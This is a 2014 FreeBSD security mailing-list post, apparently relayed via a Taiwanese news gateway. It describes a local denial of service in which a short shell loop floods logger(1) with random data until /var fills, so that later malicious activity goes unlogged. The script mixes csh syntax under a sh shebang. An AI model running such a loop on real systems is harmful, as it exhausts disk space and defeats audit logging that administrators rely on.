看板FB_security
標 題Local Denial of Service: logger(1)
發信站NCTU CS FreeBSD Server (Mon May 26 04:26:44 2014)
轉信站ptt!csnews.cs.nctu!news.cednctu!FreeBSD.cs.nctu!.POSTED!freebsd.org!ow
I can't have been the first person to to have thought of this... can I?
==========================================================================
#!/bin/sh
while (1)
dd if=/dev/random bs=15 count=1 | od -c | xargs logger
end
==========================================================================
Ought to fill up the /var partition in due course.
And perhaps more importantly, once it does, all manner of nefarious
activities, perpetrated by all manner of miscreants, might ensue,
none of which would be logged in any way.
_______________________________________________
[email protected] mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-security
To unsubscribe, send any mail to "
[email protected]"